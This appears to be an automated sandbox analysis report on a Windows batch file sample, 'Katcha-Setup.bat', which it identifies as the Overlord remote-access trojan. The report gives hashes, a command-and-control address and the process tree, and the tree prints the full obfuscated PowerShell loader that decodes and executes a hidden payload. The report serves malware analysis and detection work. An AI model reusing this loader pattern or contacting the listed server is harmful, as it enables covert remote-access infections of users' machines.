overlord | 2db2849d09d58ad1a4205e7624a8c62f75929231909bc39beb8f24746ccafa4a

Analysis

user interaction
yes
max time kernel
38s
max time network
39s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/07/2026, 12:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Katcha-Setup.bat
Size 9.0MB
Sample260731-ped7csszet
SHA256 2db2849d09d58ad1a4205e7624a8c62f75929231909bc39beb8f24746ccafa4a
MD5 b1ccd66b8e7d1fcb9190df9786a08c79
SHA1 9b450e7343cd53ff2aa2fe0d00228f6e73fe1318
SHA512 d2c456ae1c6a836a21f0342d15345b9ac84d22cfad1a2b194661cb41ebb04d85284eddb8bee79ddcc42624e00ba5d55f71e00da19caed5197dec22f34916cb12
SSDEEP 49152:EggfCBANNXC4DR7zR/rMo6VqkhmWBJGvhi+mLl8OEOou5kzihs4UBTqS+b7EJcAN:O
TLSH
T16C960211FC612022E957D02B7075EC1E23186BB1A750BD1304352E47AFDBA45FADEEAE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution overlord rat

Malware Config

Extracted

Family

overlord

65.87.7.61:5173

Signatures

Family: Overlord
Overlord is an open-source Windows RAT written in Golang.
rat overlord

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4292	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
848	mrwyxuhvtz.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1068	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mrwyxuhvtz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mrwyxuhvtz.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4928	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4292	powershell.exe
4292	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4292	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1068 wrote to memory of 4928	1068	cmd.exe	86
PID 1068 wrote to memory of 4292	1068	cmd.exe	89
PID 4292 wrote to memory of 1440	4292	powershell.exe	95
PID 1440 wrote to memory of 2956	1440	csc.exe	96
PID 4292 wrote to memory of 848	4292	powershell.exe	97

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Katcha-Setup.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1068
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowSt Hidden -NoP -Ex Bypass -Command "$zm=-join([IO.File]::ReadAllLines($env:TEMP+'\xmmckchw.tmp'));Remove-Item($env:TEMP+'\xmmckchw.tmp') -Force -EA 0;$yk=[Convert]::FromBase64String($zm);for($dv=0;$dv -lt $yk.Length;$dv++){$yk[$dv]=$yk[$dv]-bxor 166};$qtyl=[Text.Encoding]::UTF8.GetString($yk);Invoke-Expression $qtyl"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4292
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jgprcuei\jgprcuei.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1440
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9E6E.tmp" "c:\Users\Admin\AppData\Local\Temp\jgprcuei\CSCB73CA07859C946E284428BCF44C18636.TMP"
      4⤵
      PID:2956
- - C:\Users\Admin\AppData\Local\Temp\mrwyxuhvtz.exe
    "C:\Users\Admin\AppData\Local\Temp\mrwyxuhvtz.exe"
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:848

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES9E6E.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9E6E.tmp
Size 1KB
SHA256 7d9d4de67eed615f43afc4fcbd824fda820cad299fc9af4216443f1d90bb6f76
MD5 2075d3a3e1c5da8c150c7af1a5d818d4
SHA1 973aad8b040302d700c3046ee5a3f8604ddb2dfc
SHA512 9280a3a07fc87f8d437ffb1c5aa817534527258b9f90fa5c9e2a8050ecb9bcd04d55155489f9114c9fd6eec175ff35fda729b4fa0b52e6315baddd6ccd9bce3e
TLSH
T16321890193E94B0EF073073169FA572FA678FD68EFA2975B8541422D1C51504EEE0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_qemlm4rm.ryw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qemlm4rm.ryw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

jgprcuei.dll

Path C:\Users\Admin\AppData\Local\Temp\jgprcuei\jgprcuei.dll
Size 3KB
SHA256 8a0b4fe16521e9c10d7dd6773e04c49260587734a94dbc9c1db33a133a292f56
MD5 3fb1fa4c1e53d10e7b5fd6dbd03e51f2
SHA1 fb793181cde6766fc3bf4cc8278b0e913ac3db56
SHA512 dfa02a5587a834af5f80e777701531742fc8647c849a9a10d5557c5cf027cf152ef039399a93226996dd1d3ec9e3a82037cec97f9846eef43c77f59cda8311fe
TLSH
T13871FB26A3E8426BF4AB83346AF703473374F8609F33532E588452296C617641E32FE0
MD5 SHA1 SHA512 TLSH

Submit Download

mrwyxuhvtz.exe

Path C:\Users\Admin\AppData\Local\Temp\mrwyxuhvtz.exe
Size 12.8MB
SHA256 dc58b8416a407d9465b1e3d466d5e49780fb28a3d4772d9a972b27616a5217fb
MD5 48aa82ba8affc175b65b604a1693a89d
SHA1 864b909cb08da1e85da0d50243d8d882a7ca1f18
SHA512 d983233ed6bd43c26c2cbfc459c8812de0997fba3d951400e1f50e6a72c10095e949d0efc62a826db791e58866dddc8659c60ce90503281b926e1264e07a235d
SSDEEP 98304:GjKUElknhYZ9o7fcvjku1Q+iF1R9rMlUER9XLUUsmR+DH9H7E92QRoa0iL6:YnfnhmyNWQ+qxw7EDHVmfRhL
TLSH
T12AD64957E96905E8C4EDD6308576A6237BB17C490F3033D72B60B6282F36BD0AEB9750
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xmmckchw.tmp

Path C:\Users\Admin\AppData\Local\Temp\xmmckchw.tmp
Size 9.0MB
SHA256 f5b28e285f1530fc0a12e9a5e6a585a9b0d46e5a4bdc1f7685e3c8bd7d80973d
MD5 bf905b3d2029db803612716d0cb7f3c5
SHA1 0c528953d24807a612f88dc1f9472fc4d5f6d31a
SHA512 453a304c213267add191705ba2ae55684e79e976249adf0facbfa2b6c3f92c4f5119a54c57985c913fc55bb1a9cb647c0962f7cdd6d044d41ea87f80d91e9f78
SSDEEP 49152:Ggf6b68tf6QQwXfrwQnrJIWepEKUMnBKw9Ndtc+p+ZZPBW/mNS5Y4hNxh+6DvRY2:B
TLSH
T1FB960216FC612022E95BD02F7079EC1E13147BB1A750B91305342A47BFD7A06F9DAEAE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xmmckchw.tmp

Path C:\Users\Admin\AppData\Local\Temp\xmmckchw.tmp
Size 20KB
SHA256 51b3f2104046dab2674d6a303c2892dc68cfe103c561b289196a518106aa87b7
MD5 d7c9baab56b71fd5c9452edf30ee5e53
SHA1 b001979eebb41717ea8c6b78723719ef9ef9a072
SHA512 9cb97fcc28628f162a2f898182fc25279c9e93ed20b385e7dd3c55fb769421c54682144bfe9abadbf1ad8e0d65f6f11dc7490aba135f270b2d63972cafe187f7
SSDEEP 384:hqGzA6O+6RC/Vd8Dz/wB2gtljKotIzAvX9oKfBWFZaFtT4I5fThkTzCL0v:cYO+6g/0wB2OKjzAvtFJWF6t57u3pv
TLSH
T155A2E1229F2E0001FD82BE02A291E9BD7360F75A25742A3315F90F783AC2EA571D735D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSCB73CA07859C946E284428BCF44C18636.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\jgprcuei\CSCB73CA07859C946E284428BCF44C18636.TMP
Size 652B
SHA256 6d08425f823178bf0532a49564d02627b02f431d06ef7828a3c69cbaab657ab8
MD5 6e7e452e2486a0673b3ead12c26257ed
SHA1 1aeda714a8a128053d12cd6b56a756947af4ca0e
SHA512 f80988e5f8a2a74f877f712ead925d091873681c4e590f46089c2b89da552eba3b13deb8a6748b0e63416b97bcb7bfb55e8114c6ed08c5abbc7feb14782bd961
TLSH
T172F05E0963F8120EF0F34B30BDF68363A5A9BC65DE3293ED1441035D28649248962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

jgprcuei.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\jgprcuei\jgprcuei.0.cs
Size 279B
SHA256 044febbea1945aa09126f543b8aca35d65e888c257314d3d92ea1d71628c7dc6
MD5 f9b4fb8fc990964f2abab6de3cf83c15
SHA1 a6238a87309d614515055a2953a1b1820814b46b
SHA512 f7a011a492b91d6622ab52e6ee09f1bc03f9e6740360a0fa0c8d3883714c52e11ada7944041b6899797148ea37c292e9cabb197e870ea04350acdc5abb5649ed
TLSH
T111D02B2837AFE3B96282E0620E90D31DA3333356661AC485885B93008BB54424730F7A
MD5 SHA1 SHA512 TLSH

Submit Download

jgprcuei.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\jgprcuei\jgprcuei.cmdline
Size 369B
SHA256 9077f61fea0e6f3f04d0c42209e489fb568e4f95860835ba22ec7c342ea860be
MD5 133b431b186469ff68648eb8446c4204
SHA1 ac1656d54854be029a1a4beeb92986b4f5f13d40
SHA512 bca7efb16150268eabc2092595788550296dd23c1fe1e6929877471f36e7a35cc2db845104517855aadfadb0b70de95d339ac7b919618f3212f14141b24e9a0c
TLSH
T1DEE0C02A5347C27D76ED100721A9E8ADC2730F832A403F84504144EFF0770002BD1741
MD5 SHA1 SHA512 TLSH

Submit Download

memory/848-2243-0x00007FF68C230000-0x00007FF68EF6A000-memory.dmp

Download

memory/4292-2214-0x000001497A980000-0x000001497A9A2000-memory.dmp

Download

memory/4292-2219-0x000001497AA40000-0x000001497AA50000-memory.dmp

Download

memory/4292-2208-0x000001497AA40000-0x000001497AA50000-memory.dmp

Download

memory/4292-2218-0x000001497AA40000-0x000001497AA50000-memory.dmp

Download

memory/4292-2232-0x000001497AA00000-0x000001497AA08000-memory.dmp

Download

memory/4292-2207-0x000001497AA40000-0x000001497AA50000-memory.dmp

Download